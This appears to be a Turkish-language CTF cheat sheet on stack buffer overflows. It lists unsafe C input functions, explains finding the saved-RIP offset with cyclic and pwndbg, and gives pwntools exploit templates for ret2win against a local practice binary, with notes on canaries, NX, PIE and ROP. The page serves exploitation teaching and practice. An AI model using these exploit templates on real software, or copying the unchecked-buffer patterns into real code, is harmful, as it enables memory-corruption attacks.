Stack Buffer Overflow
CWE-121 difficulty: orta
Stack buffer overflow, sabit boyutlu bir yığın (stack) tamponuna kapasitesinden fazla veri yazılmasıyla oluşur. Fazla veri, kaydedilmiş dönüş adresini (saved RIP) ezerek programın kontrol akışını saldırganın belirlediği yere yönlendirir.
Komut üreteci
Section titled “Komut üreteci”cyclic · pattern
embedded toolGenerated command
cyclic 200cyclic · offset
embedded toolGenerated command
cyclic -l 0x6161616cCrash anındaki RIP/RSP değerini gir; dönen sayı = offset.
Zafiyetli desen
Section titled “Zafiyetli desen”void vuln() { char buf[64]; gets(buf); // sınır kontrolü yok → overflow}
// Diğer klasik kaynaklar:strcpy(dst, src);sprintf(buf, "%s", src);scanf("%s", buf); // genişlik yokread(0, buf, 0x100); // sizeof(buf)=64 ikenStack çerçevesi (x86-64, basitleştirilmiş)
Section titled “Stack çerçevesi (x86-64, basitleştirilmiş)”Düşük adres (buf)┌──────────────┐│ buf[64] │├──────────────┤│ (padding) │├──────────────┤│ saved RBP │ ← genelde 8 bayt├──────────────┤│ saved RIP │ ← ezmek istediğin yer└──────────────┘Yüksek adresCanary varsa: buf | padding | canary | saved RBP | saved RIP.
Offset bulma ve kontrolü ele alma
Section titled “Offset bulma ve kontrolü ele alma”-
Crash üret — büyük girdiyle SIGSEGV al:
Terminal window python -c 'print("A"*200)' | ./challTerminal window gdb ./challTerminal window pwndbg> r <<< $(cyclic 200) -
Offset hesapla — crash anındaki rsp /RIP desen değerinden:
Terminal window pwndbg> cyclic -l 0x6161616c -
Dönüş adresini ez — koruma yoksa (NX/PIE kapalı veya win adresi biliniyor):
from pwn import *elf = context.binary = ELF('./chall')io = process('./chall')payload = flat({ 72: elf.sym.win }) # örn. gizli win()io.sendline(payload)io.interactive() -
Canary varsa — önce leak; payload’a doğru canary’yi yerleştir, sonra RIP.
-
Zincirle — NX açıksa shellcode yerine ret2libc / ROP ; PIE açıksa önce base leak.
pwntools + GDB birlikte
Section titled “pwntools + GDB birlikte”from pwn import *elf = context.binary = ELF('./chall')
io = gdb.debug('./chall', '''b *vuln+0x30continue''')offset = 72payload = flat({ offset: elf.sym.win })io.sendlineafter(b'Input: ', payload)io.interactive()pwndbg> telescope $rsppwndbg> x/i $rip # win'e düştü mü?Sık tuzaklar
Section titled “Sık tuzaklar”- Off-by-one: yalnızca saved RBP bozulur → leave;ret / stack pivot- Kısmi overwrite: ASLR'da son 1–2 bayt ez (entropy düşür)- Alignment: ret2libc öncesi ekstra ret (movaps)- Badchars: \x00 \x0a gets/scanf'de keser → encode veya farklı primitive- Stack-smash canary: __stack_chk_fail → leak olmadan kör overwrite failret2win vs ret2shellcode vs ROP
Section titled “ret2win vs ret2shellcode vs ROP”| Durum | Hedef |
|---|---|
win() / system(“cat flag”) var | flat({off: elf.sym.win}) |
| NX kapalı, buf adresi biliniyor | shellcode |
| NX açık, libc var | ret2libc / one_gadget |
| libc yok / restricted | saf ROP syscall |